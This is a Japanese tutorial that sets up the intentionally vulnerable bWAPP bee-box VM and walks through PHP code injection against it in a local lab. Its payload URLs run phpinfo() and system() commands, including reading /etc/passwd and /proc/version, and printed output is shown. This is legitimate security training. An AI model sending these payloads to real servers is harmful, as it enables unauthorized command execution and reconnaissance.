Kali Linux2022.1 でハッキングラボをつくってみる10 ウェブアプリハッキング3 bee-boxの導入とPHPコードインジェクション攻撃

# はじめに
「ハッキング・ラボのつくりかた」p.624-631を参考に、KaliLinux2022.1で検証してみた記事です。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::

# BWAPP bee-boxとは
同書p.624より引用(URLはリンク切れのため改変）
>bWAPP(buggy web application)は、主にWebアプリのセキュリティを学習するためのWebアプリです。100を越える脆弱異性を備えており、網羅的にWebアプリのハッキングを学習できます。
OWASP top10プロジェクト(https://www.owasp.org/ )の脆弱性についてもカバーされています。

>bWAPP bee-box（bee-boxと略す）は、bWAPPがインストールされているUbuntuベースのLinuxです。

# 導入
次のサイトからダウンロード。bee-box_v1.6.7zをダウンロードする。
https://sourceforge.net/projects/bwapp/files/bee-box/
ダウンロードしたら展開しておく。
VirtualBoxで、新規の仮想マシンを作成する。
![Screenshot_20220528_094402.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/4bfd545a-5651-8c15-cb14-0a53fc00d468.png)
「ハードディスク」で展開先のフォルダの「bee-box.vdmk」を指定する。
完了したら、「作成」をクリックして完了。

:::note
同書では、VMWareのovftoolを使ってvmxをovfにファイル変換してから、仮想アプライアンスとしてインポートしているが、この方法でもうまく行った。
信頼性を求めるなら、VMWareかovftool単体をインストールして変換すると良い。
:::

bee-boxのネットワーク接続は、ホストオンリーアダプタに割り当てておく。

起動できることを確認する。
bee-boxを直接操作することは殆ど無いので、初回起動以外はヘッドレス起動でも良いと思う。
~~ベルギー語のキーボード入力がデフォルトになっている。~~
~~`sudo loadkeys jp`を実行しても日本語キーボード入力にならないので注意する。~~
~~日本語キーボードの設定はパネルの「Bel」を右クリックして、「keybord preferences」をクリックして画面のように設定する。~~

~~**起動して日本語キーボードの画面設定**~~
[修正:2022/09/18]
上記の方法でも、日本語キーボードの書き換えがうまくいかないこともあった。
![VirtualBox_bee-box_28_05_2022_09_56_43日本語キーボード.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/160a559a-d21a-5379-6713-8fd0491f0ef7.png)
IPアドレスは、DHCPで自動的に割り当てられたものを利用した。
`ifconfig`でbee-boxのIPアドレスを調べると、192.168.56.60であった。

# PHP Code Injection攻撃
**KaliLinux**のFirefoxまたはホストOSのブラウザ（Edgeを除く）で、"http:/\/192.168.56.60/bWAPP"にアクセスする。
認証画面には、次のように入力してログインする。
Login:bee
Password:bug
Security Level:low

プルダウンメニュー「Which bug do you want to hack today? :)」から「PHP Code Injection」を選択して、「Hack」ボタンをクリックする。
**クリックしたあとの画面**
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_28_05_2022_10_23_15_beeboxPHP1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/51394751-811b-4664-6e49-438205ded15b.png)
リンク「message」をクリックすると、URLが"http:/\/192.168.56.5/nWAPP/phpi.php?message=test"に変更される。このURL"test"は記号を除く任意の文字列（例えば、okやhello,1234など)に変更できることが確認できる。
下画像を参照。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_28_05_2022_10_31_54_beeboxphp2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/f1ca1ac8-b9d6-ebba-11fb-608202371ac9.png)


## messageにphpinfo()を渡す
変数messageに文字列を渡すことで、webページ上に文字列が表示できることがわかったのなら、関数ではどうだろうか？
phpの関数であるphpinfo()を渡してみる。
"http:/\/192.168.56.60/bWAPP/phpi.php?message=phpinfo()"
PHPに関する詳細な情報が得られた。純粋に文字列として解釈されるのではなく、PHPの関数として解釈・実行されたことになる。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_28_05_2022_10_37_27_beeboxphp3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/fca33f71-3c24-8fd8-971d-ef8265df2293.png)


## Linuxカーネルのバージョンを表示
同じ感じで、別の関数を渡して情報収集してみる。
PHP関数のsystem()関数は、引数に指定したコマンドを実行する。
文法は、system('コマンド');　とする。

次のように実行して、Linuxカーネルのバージョンを表示できる。
"http:/\/192.168.56.60/bWAPP/phpi.php?message=system('cat /proc/version');

出力結果
>Linux version 2.6.24-16-generic (buildd@palmer) (gcc version 4.2.3 (Ubuntu 4.2.3-2ubuntu7)) #1 SMP Thu Apr 10 13:23:42 UTC 2008 Linux version 2.6.24-16-generic (buildd@palmer) (gcc version 4.2.3 (Ubuntu 4.2.3-2ubuntu7)) #1 SMP Thu Apr 10 13:23:42 UTC 2008

## ユーザー列挙
"http:/\/192.168.56.60/bWAPP/phpi.php?message=system('cut -d: -f1 /etc/passwd');

出力結果
>root daemon bin sys sync games man lp mail news uucp proxy www-data backup list irc gnats nobody libuuid dhcp syslog klog hplip avahi-autoipd gdm pulse messagebus avahi polkituser haldaemon bee mysql sshd dovecot smmta smmsp neo alice thor wolverine johnny selene postfix proftpd ftp snmp ntp ntp

## 他のコマンドを試す
"http:/\/192.168.56.60/bWAPP/phpi.php?message=system('hostname');"
"http:/\/192.168.56.60/bWAPP/phpi.php?message=system('uname -a');"
"http:/\/192.168.56.60/bWAPP/phpi.php?message=system('whoami');"
"http:/\/192.168.56.60/bWAPP/phpi.php?message=system('pwd');"

"http:/\/192.168.56.60/bWAPP/phpi.php?message=system('/sbin/ifconfig');"
*ifconfigのみでは実行できないので注意*

bWAPPのディレクトリは、/var/www/bWAPPである。このディレクトリはwww-dataの管轄らしく、PHPインジェクションによって、このディレクトリ内に適当なテキストファイルを書き込むことも出来た。